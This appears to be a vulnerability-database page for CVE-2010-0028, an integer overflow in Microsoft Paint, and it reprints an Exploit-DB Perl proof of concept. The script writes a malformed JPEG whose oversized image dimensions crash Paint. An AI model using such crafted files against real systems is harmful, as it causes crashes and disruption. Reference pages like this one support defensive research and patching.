CVE-2010-0028

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Published 2010-02-10 · Modified 2026-04-29

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CVSS v3

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CVSS v4 NEW

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not yet in upstream

VIR risk

10.0

Description

Integer overflow in Microsoft Paint in Windows 2000 SP4, XP SP2 and SP3, and Server 2003 SP2 allows remote attackers to execute arbitrary code via a crafted JPEG (.JPG) file, aka "MS Paint Integer Overflow Vulnerability."

Predictions

Exploit likelihood

20%

Patch ETA

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Mitigations

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Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-12518 dos windows verified text · 3 KB

unsign · 2010-05-06

Microsoft Paint - Integer Overflow (Denial of Service) (MS10-005)

text exploit Source: Exploit-DB

# Date: 2010-05-04
# Version: 5.1.2600.2180
# Tested on: Windows XP SP2

#####################################################################
## Exploit-DB Notes:
## Tested under 32-bit Windows XP SP3 ENG, MS Paint crashes.
## However, please note this exploit might not actually be related
## to MS10-005. Thanks to Yaniv Miron.
#####################################################################


#!/usr/bin/perl

$PoC = 
"\xFF\xD8\xFF\xE0\x00\x10\x4A\x46\x49\x46\x00\x01\x01\x01\x00\x60". 
"\x00\x60\x00\x00\xFF\xE1\x00\x16\x45\x78\x69\x66\x00\x00\x49\x49". 
"\x2A\x00\x08\x00\x00\x00\x00\x00\x00\x00\x00\x00\xFF\xDB\x00\x43". 
"\x00\x08\x06\x06\x07\x06\x05\x08\x07\x07\x07\x09\x09\x08\x0A\x0C". 
"\x14\x0D\x0C\x0B\x0B\x0C\x19\x12\x13\x0F\x14\x1D\x1A\x1F\x1E\x1D". 
"\x1A\x1C\x1C\x20\x24\x2E\x27\x20\x22\x2C\x23\x1C\x1C\x28\x37\x29". 
"\x2C\x30\x31\x34\x34\x34\x1F\x27\x39\x3D\x38\x32\x3C\x2E\x33\x34". 
"\x32\xFF\xDB\x00\x43\x01\x09\x09\x09\x0C\x0B\x0C\x18\x0D\x0D\x18". 
"\x32\x21\x1C\x21\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32". 
"\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32". 
"\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32". 
"\x32\x32\x32\x32\x32\x32\xFF\xC0\x00\x11\x08".

"\x93\xCE\x93\xCE". #Image Size 37838x37838 (Integer Overflow)

"\x03". 
"\x01\x22\x00\x02\x11\x01\x03\x11\x01\xFF\xC4\x00\x1F\x00\x00\x01". 
"\x05\x01\x01\x01\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x01". 
"\x02\x03\x04\x05\x06\x07\x08\x09\x0A\x0B\xFF\xC4\x00\xB5\x10\x00". 
"\x02\x01\x03\x03\x02\x04\x03\x05\x05\x04\x04\x00\x00\x01\x7D\x01". 
"\x02\x03\x00\x04\x11\x05\x12\x21\x31\x41\x06\x13\x51\x61\x07\x22". 
"\x71\x14\x32\x81\x91\xA1\x08\x23\x42\xB1\xC1\x15\x52\xD1\xF0\x24". 
"\x33\x62\x72\x82\x09\x0A\x16\x17\x18\x19\x1A\x25\x26\x27\x28\x29". 
"\x2A\x34\x35\x36\x37\x38\x39\x3A\x43\x44\x45\x46\x47\x48\x49\x4A". 
"\x53\x54\x55\x56\x57\x58\x59\x5A\x63\x64\x65\x66\x67\x68\x69\x6A". 
"\x73\x74\x75\x76\x77\x78\x79\x7A\x83\x84\x85\x86\x87\x88\x89\x8A". 
"\x92\x93\x94\x95\x96\x97\x98\x99\x9A\xA2\xA3\xA4\xA5\xA6\xA7\xA8". 
"\xA9\xAA\xB2\xB3\xB4\xB5\xB6\xB7\xB8\xB9\xBA\xC2\xC3\xC4\xC5\xC6". 
"\xC7\xC8\xC9\xCA\xD2\xD3\xD4\xD5\xD6\xD7\xD8\xD9\xDA\xE1\xE2\xE3". 
"\xE4\xE5\xE6\xE7\xE8\xE9\xEA\xF1\xF2\xF3\xF4\xF5\xF6\xF7\xF8\xF9". 
"\xFA\xFF\xC4\x00\x1F\x01\x00\x03\x01\x01\x01\x01\x01\x01\x01\x01". 
"\x01\x00\x00\x00\x00\x00\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09". 
"\x0A\x0B\xFF\xC4\x00\xB5\x11\x00\x02\x01\x02\x04\x04\x03\x04\x07". 
"\x05\x04\x04\x00\x01\x02\x77\x00\x01\x02\x03\x11\x04\x05\x21\x31". 
"\x06\x12\x41\x51\x07\x61\x71\x13\x22\x32\x81\x08\x14\x42\x91\xA1". 
"\xB1\xC1\x09\x23\x33\x52\xF0\x15\x62\x72\xD1\x0A\x16\x24\x34\xE1". 
"\x25\xF1\x17\x18\x19\x1A\x26\x27\x28\x29\x2A\x35\x36\x37\x38\x39". 
"\x3A\x43\x44\x45\x46\x47\x48\x49\x4A\x53\x54\x55\x56\x57\x58\x59". 
"\x5A\x63\x64\x65\x66\x67\x68\x69\x6A\x73\x74\x75\x76\x77\x78\x79". 
"\x7A\x82\x83\x84\x85\x86\x87\x88\x89\x8A\x92\x93\x94\x95\x96\x97". 
"\x98\x99\x9A\xA2\xA3\xA4\xA5\xA6\xA7\xA8\xA9\xAA\xB2\xB3\xB4\xB5". 
"\xB6\xB7\xB8\xB9\xBA\xC2\xC3\xC4\xC5\xC6\xC7\xC8\xC9\xCA\xD2\xD3". 
"\xD4\xD5\xD6\xD7\xD8\xD9\xDA\xE2\xE3\xE4\xE5\xE6\xE7\xE8\xE9\xEA". 
"\xF2\xF3\xF4\xF5\xF6\xF7\xF8\xF9\xFA\xFF\xDA\x00\x0C\x03\x01\x00". 
"\x02\x11\x03\x11\x00\x3F\x00\xF7\xFA\x28\xA2\x80\x0A\x28\xA2\x80". 
"\x0A\x28\xA2\x80\x0A\x28\xA2\x80\x3F\xFF\xD9";

open(file , ">", "paint.jpg");   
   
print file $PoC;   

close(file);

OS impact

Windows Affected 2 releases

Version	Status	Fixed in
-	Affected	—
—	Affected	—

References

CWEs

CWE-189

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